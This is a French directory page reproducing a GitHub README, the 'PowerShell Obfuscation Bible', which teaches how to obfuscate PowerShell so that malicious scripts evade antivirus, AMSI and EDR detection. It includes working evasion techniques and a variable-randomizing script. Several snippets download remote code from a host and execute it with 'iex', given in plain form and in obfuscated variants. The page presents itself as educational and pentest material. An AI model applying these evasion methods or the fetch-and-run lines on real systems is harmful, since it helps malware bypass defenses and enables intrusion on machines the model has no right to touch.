Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PowerShell-Obfuscation-Bible — A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests. | Kitploit
Outils/GitHubGitHub/t3l3machus/powershell-obfuscation-bible
IDS/IPS EvasionPenetration TestingLearning & EducationRed TeamingCurated ResourcesPayload Development
GitHubt3l3machus/powershell-obfuscation-bible

PowerShell-Obfuscation-Bible

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

1.2k139il y a 2 ansVérifié par Kitploit

A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests.

Partager

Bible de l'obfuscation PowerShell

Python License

Une collection de techniques, d'exemples et un peu de théorie pour obfusquer manuellement des scripts PowerShell afin de contourner la détection basée sur les signatures, compilée à des fins éducatives. Le contenu de ce dépôt est le résultat de recherches personnelles, notamment la lecture de documents en ligne et des tentatives par essais et erreurs en laboratoire et lors de tests d'intrusion. Vous ne devez rien tenir pour acquis.

Présentation vidéo YouTube : youtube.com/watch?v=tGFdmAh_lXE

⚠️ Avertissement : L'utilisation des techniques et des concepts décrits dans ce dépôt pour obtenir un accès non autorisé à des systèmes que vous n'avez pas la permission de tester est illégale. Vous êtes responsable de vos actes. Ne soyez pas malveillant.

Table des matières

  1. Entropie
  2. Identifier les déclencheurs de détection
  3. Renommer les objets
  4. Obfusquer les valeurs booléennes
  5. Interruption par guillemets dans les cmdlets
  6. Interruption par accent circonflexe dans les cmdlets
  7. Technique Get-Command
  8. Substituer les boucles
  9. Substituer les commandes
  10. Jouer avec les chaînes de caractères
  11. Ajouter du superflu
  12. Ajouter ou supprimer des commentaires
  13. Varier la casse des caractères
  14. Réorganiser les composants du script
  15. Exécuter le script ligne par ligne

Entropie

Le terme scientifique entropie, généralement défini comme la mesure du hasard ou du désordre d'un système, est important dans l'évasion antivirus. En effet, les logiciels malveillants contiennent souvent du code hautement aléatoire, chiffré et/ou encodé (obfusqué) afin de rendre son analyse et donc sa détection difficiles. Parmi diverses méthodes, les antivirus utilisent l'analyse de l'entropie pour identifier les fichiers et charges utiles potentiellement malveillants.

Il est important de comprendre ce concept car, lors de l'obfuscation d'un code, vous devez garder à l'esprit la variation d'entropie créée par les modifications que vous choisissez d'apporter. Casser les signatures est facile, mais si vous ne prêtez pas attention au niveau d'entropie, les antivirus/EDR sophistiqués le verront.

Un principe à garder à l'esprit : Plus l'entropie est grande, plus il est probable que les données soient obfusquées ou chiffrées, et plus il est probable que le fichier/la charge utile soit malveillant. Heureusement, il existe des moyens de la réduire.

Claude E. Shannon a introduit une formule dans son article de 1948 A Mathematical Theory of Communication qui peut être utilisée pour mesurer l'entropie d'un ensemble de données. Voici une implémentation Python simple de l'entropie de Shannon que vous pouvez utiliser pour mesurer l'entropie des charges utiles que vous développez :

root@kitploit:~
#!/bin/python3
# Usage: python3 entropy.py <file>

import math, sys

def entropy(string):
    "Calculates the Shannon entropy of a UTF-8 encoded string"

    # decode the string as UTF-8
    unicode_string = string.decode('utf-8')

    # get probability of chars in string
    prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]

    # calculate the entropy
    entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])

    return entropy


f = open(sys.argv[1], 'rb')
content = f.read()
f.close()

print(entropy(content))

Vous pouvez également utiliser ce calculateur d'entropie de Shannon en ligne ou l'outil Sigcheck.exe de Microsoft avec l'option -a.

Identifier les déclencheurs de détection

La chose mature et élégante à faire avant de se lancer dans des tests d'obfuscation par essais et erreurs pour obtenir une variante de charge utile non détectée est d'identifier la ou les parties d'un script qui déclenchent la détection de logiciels malveillants. Surtout dans les scripts courts comme les commandes C2, vous pourriez être en mesure d'apporter des modifications insignifiantes et de passer inaperçu sur-le-champ.

Un excellent outil pour identifier ces déclencheurs est AMSItrigger. Voici un exemple d'utilisation avec un fichier contenant un script malveillant. La zone rouge signifie la partie sur laquelle l'obfuscation devrait être appliquée :

image

Vous pouvez également identifier les déclencheurs manuellement en exécutant un script morceau par morceau.

Renommer les objets

Lors de l'obfuscation de scripts, il devrait être prioritaire de remplacer les noms de variables/classes/fonctions par des noms aléatoires. Ainsi, en combinaison avec d'autres techniques, vous pourrez contourner la détection facilement. Mais vous devez garder à l'esprit l'entropie des charges utiles que vous développez. Prenons le script de reverse shell standard suivant, généralement détecté par la plupart, sinon tous, les antivirus :

image

Considérez maintenant la version obfusquée suivante :

image

Dans cette version, tous les noms de variables ont été remplacés par des noms aléatoires de 32 caractères. J'ai également remplacé (pwd).Path par $(gl). La charge utile a une entropie de Shannon de 4.96. Au moment où j'écris ceci, elle n'est pas détectée par MS Defender et un tas d'autres produits :

image

Considérez maintenant cette version :

image

Cette variante a également tous les noms de variables remplacés, mais cette fois par des noms composés d'un nombre x de caractères 'f', ce qui entraîne une baisse significative de l'entropie de la charge utile. J'ai également remplacé (pwd).Path par $(gl) ici. Encore une fois, au moment où j'écris ces lignes, elle n'est pas détectée par MS Defender. La charge utile a une entropie de Shannon de 0.76.

image

⚡ Ces deux variantes contournent les antivirus courants, mais la seconde a une entropie plus faible et aura probablement de meilleures chances face aux EDR et autres moteurs anti-malware sophistiqués. ⚠️ Je ne dis pas que la meilleure performance de la deuxième variante dans cet exemple est certainement due au niveau d'entropie (je ne peux pas vraiment le savoir, cela aurait pu être la longueur, ou les deux, ou qui sait quoi), mais c'est un aspect important à garder à l'esprit lors de l'obfuscation de choses et cet exemple vise à souligner ce concept.

Vous pouvez utiliser le script ci-dessous pour randomiser les noms de variables dans un script PowerShell. ⚠️ Le script n'est pas parfait ! Si vous l'exécutez sur des scripts PowerShell volumineux et complexes, il pourrait casser leur fonctionnalité en remplaçant des choses qu'il ne devrait pas. Utilisez-le avec prudence et soyez vigilant.

root@kitploit:~
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>

import re
from sys import argv
from uuid import uuid4

def get_file_content(path):
	f = open(path, 'r')
	content = f.read()
	f.close()
	return content
	

def main():

	payload = get_file_content(argv[1])
	used_var_names = []

	# Identify variables definitions in script
	variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
	variable_definitions.sort(key=len)
	variable_definitions.reverse()

	# Replace variable names
	for var in variable_definitions:
		
		var = var.strip("\n \r\t=")

		while True:
			
			new_var_name = uuid4().hex
			
			if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
				continue
				
			else:
				used_var_names.append(new_var_name)
				break	
						
		payload = payload.replace(var, f'${new_var_name}')
	
	print(payload + '\n')

	
main()

Obfusquer les valeurs booléennes

C'est très amusant et facile de remplacer les valeurs $True et $False par d'autres équivalents booléens, qui sont littéralement illimités. Surtout si vous avez identifié le déclencheur de détection d'une charge utile donnée et qu'il inclut une valeur $True ou $False, vous pourrez probablement contourner la détection en la remplaçant simplement par un substitut booléen. Tous les exemples ci-dessous sont évalués à True. Vous pouvez les inverser en False en ajoutant simplement un point d'exclamation avant l'expression (par exemple, ![bool]0x01) :

  • Le transtypage booléen de littéralement n'importe quoi qui n'est pas 0 ou Null ou une chaîne vide, retournera True :
root@kitploit:~
[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/-12354893)   # Boolean typecast of a negative number 
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]

# Well, you get the point.
  • Le transtypage booléen de n'importe quelle classe retournera également True :
root@kitploit:~
[bool][bool]
[bool][char]
[bool][int] 
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
  • Le résultat d'une comparaison qui est évalué à True (évidemment) :
root@kitploit:~
(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
  • Ou vous pouvez simplement récupérer une valeur True depuis les attributs d'un objet :
root@kitploit:~
$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
  • Vous pouvez mélanger tout cela et créer des choses étranges en composant des moyens hideux d'exprimer True ou False :
root@kitploit:~
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/!%5Bbool%5D$null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]

Interruption par guillemets dans les cmdlets

Vous pouvez obfusquer les cmdlets en ajoutant des guillemets simples et/ou doubles entre leurs caractères, tant que ce n'est pas au début. C'est très efficace ! Par exemple, l'expression iex "pwd" peut être remplacée par :

root@kitploit:~
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"

# and so on... but also:

i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""

# You get the point.

Interruption par accent circonflexe dans les cmdlets

C'est un peu sale mais peut s'avérer utile. Dans un terminal CMD Windows, il est possible d'ajouter le symbole accent circonflexe (^) entre les caractères d'une commande et elle sera tout de même interprétée normalement. Dans un script PowerShell, une façon d'utiliser cela serait :

root@kitploit:~
cmd /c "who^am^i"

Untistled

Technique Get-Command

Une astuce vraiment cool que mon ami et puissant haxor Karol Musolff (@kmusolff) m'a montrée. Vous pouvez utiliser Get-Command (ou gcm) pour récupérer le nom (chaîne de caractères) de n'importe quelle commande, y compris tous les fichiers non-PowerShell dans la variable d'environnement Path ($env:Path) en utilisant des caractères génériques. Vous pouvez ensuite les exécuter comme des travaux avec l'opérateur &. Par exemple, la ligne suivante :

root@kitploit:~
Invoke-RestMethod -uri https://192.168.0.66/malware | iex

Pourrait être obfusquée en :

root@kitploit:~
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)

Ou même mieux, celle-ci, qui a une valeur d'entropie de Shannon plus faible :

root@kitploit:~
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)

Substituer les boucles

Il existe certaines boucles qui peuvent être remplacées par d'autres types de boucles ou fonctions. Par exemple, une boucle While ($True){ # du code } peut être remplacée par ce qui suit : Une boucle For infinie

root@kitploit:~
For (;;) { # some code }

Une boucle Do-While

root@kitploit:~
Do { # some code } While ($true)

Une boucle Do-Until

root@kitploit:~
Do { # some code } Until (1 -eq 2)

Une fonction récursive

root@kitploit:~
function runToInfinity { 
 # do something;  
 runToInfinity;
}

Ajouter du superflu

Ajouter/Supprimer des paramètres

Vous pouvez essayer d'ajouter des paramètres à une cmdlet. Par exemple, la ligne suivante :

root@kitploit:~
iex "whoami"

Pourrait être étendue à :

root@kitploit:~
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"

Vous pouvez bien sûr essayer l'inverse.

Ajouter des objets aléatoires

Vous pouvez « polluer » un script avec des variables et fonctions aléatoires. Supposons que le script suivant soit malveillant :

root@kitploit:~
$b64 = $(irm -uri http://192.168.0.66/malware); 
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;

Vous pourriez être en mesure de casser sa signature en faisant quelque chose comme :

root@kitploit:~
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;

Substituer les commandes

Vous pouvez toujours chercher des commandes ou même des blocs de code entiers dans un script que vous pouvez remplacer par des composants ayant la même fonctionnalité ou une fonctionnalité similaire. Dans le script de reverse shell classique suivant, la commande pwd est utilisée pour récupérer le répertoire de travail actuel et reconstruire la valeur de l'invite du shell : image

La partie (pwd).Path peut être remplacée par le petit script bizarre et non orthodoxe suivant, et bien qu'il inclue même pwd, il sert notre objectif de casser la signature tout en maintenant la fonctionnalité du script :

root@kitploit:~
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"

Il existe bien sûr des substituts plus simples pour pwd comme gl, get-location et cmd.exe /c chdir qui pourraient faire l'affaire, surtout en combinaison avec d'autres techniques.

Jouer avec les chaînes de caractères

Il n'y a pas de limite à ce que l'on peut faire avec les chaînes de caractères. Vous trouverez ci-dessous quelques concepts intéressants. Les exemples utilisent la chaîne 'malware' :

Convertir une chaîne en here-string

Au prix de l'ajout de quelques nouvelles lignes, vous pouvez transformer une chaîne en here-string. Ceci :

root@kitploit:~
$x = 'echo malware';
iex $x;

Est identique à :

root@kitploit:~
$x = 'echo malware';
iex @"
$x
"@

Inverser les chaînes de caractères

root@kitploit:~
$x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""

Concaténation

Assez simple et classique :

root@kitploit:~
'mal' + 'w' + 'ar' + 'e'

Obtenir une chaîne depuis une sous-chaîne :

Ajoutez la valeur souhaitée entre une chaîne non pertinente et utilisez substring() pour l'extraire en fonction des indices de début et de fin :

root@kitploit:~
'xxxmalwarexxx'.Substring(3,7)

Remplacer une chaîne par correspondance regex :

Créez une chaîne superflue et remplacez-la par la valeur souhaitée via une correspondance regex :

root@kitploit:~
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'

Décoder la chaîne souhaitée en Base64 :

Encodez votre chaîne et décodez-la dans le script :

root@kitploit:~
[System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/HEAD/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))

Obtenir les caractères de la chaîne souhaitée à partir d'octets :

root@kitploit:~
"$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x65))"

Ce n'est que pour vous mettre le pied à l'étrier. À suivre...

Ajouter ou supprimer des commentaires

Ajouter des commentaires

Obfusquer un script en ajoutant des commentaires un peu partout pourrait en fait suffire à lui seul. Par exemple, une commande de reverse shell pourrait être obfusquée comme ceci :

Original (Commande r-shell courante facilement détectée par les antivirus)

image

Modifié (ajout de <# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> à divers endroits)

image

Cela fonctionnera non seulement, mais réduira également la valeur d'entropie de Shannon de la charge utile (à condition de ne pas utiliser des commentaires aléatoires complexes).

Supprimer des commentaires

Il existe des chaînes de caractères de type malware qui déclenchent AMSI immédiatement, et il devrait être prioritaire de les remplacer lors de l'obfuscation de scripts. Regardez ceci : image

Rien qu'en tapant la chaîne 'invoke-mimikatz' dans le terminal, AMSI fait une crise cardiaque (le script n'est même pas présent / chargé). Ces chaînes peuvent également se trouver dans des commentaires, c'est donc une bonne idée de les supprimer, surtout des ressources FOS que vous récupérez sur Internet (par exemple Invoke-Mimikatz.ps1 depuis GitHub).

*C'est généralement une bonne idée de supprimer les commentaires. Ce n'était qu'un exemple.

Varier la casse des caractères

Probablement la plus vieille astuce du livre. Varier la casse des caractères des cmdlets et des paramètres peut aider :

root@kitploit:~
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug

Réorganiser les composants du script

Parfois, le simple fait de déplacer des variables et des classes à différents endroits peut fonctionner, surtout si vous avez trouvé le déclencheur de détection et qu'il inclut une définition de variable qui pourrait avoir lieu ailleurs, comme au début du script.

Exécuter le script ligne par ligne

Parfois, il est possible de contourner les antivirus en exécutant simplement un script malveillant ligne par ligne. Cela peut bien sûr être difficile à réaliser selon les circonstances. Si vous essayez, soyez conscient des blocs de script qui doivent être exécutés dans leur ensemble (par exemple, les boucles, les blocs try-catch, les instructions conditionnelles, les définitions de fonctions, etc.). Pour tester cela, vous pouvez prendre un script de reverse shell PowerShell courant (sans obfuscation) et l'exécuter ligne par ligne. Est-il détecté ? ;)

Télécharger l’outil